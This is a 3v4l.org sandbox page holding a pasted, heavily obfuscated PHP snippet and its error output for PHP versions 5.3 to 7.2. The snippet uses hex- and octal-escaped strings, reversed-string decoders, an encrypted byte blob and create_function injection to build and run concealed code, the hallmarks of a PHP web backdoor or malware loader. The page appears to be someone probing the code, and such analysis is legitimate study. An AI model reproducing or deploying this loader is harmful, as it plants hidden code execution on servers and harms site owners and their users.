3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $siv = "str_replace"; $s1v ="create_function"; $test = 'function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy( "\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy) ); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); } '; echo eval($test);
based on HU1kU
Output for 7.0.0 - 7.2.0
Notice: Undefined variable: slv in /in/pqhoR(63) : eval()'d code on line 25 Fatal error: Uncaught Error: Function name must be a string in /in/pqhoR(63) : eval()'d code:25 Stack trace: #0 /in/pqhoR(63): eval() #1 {main} thrown in /in/pqhoR(63) : eval()'d code on line 25
Process exited with code 255.
Output for 5.3.18 - 5.6.28
Notice: Undefined variable: slv in /in/pqhoR(63) : eval()'d code on line 25 Fatal error: Function name must be a string in /in/pqhoR(63) : eval()'d code on line 25
Process exited with code 255.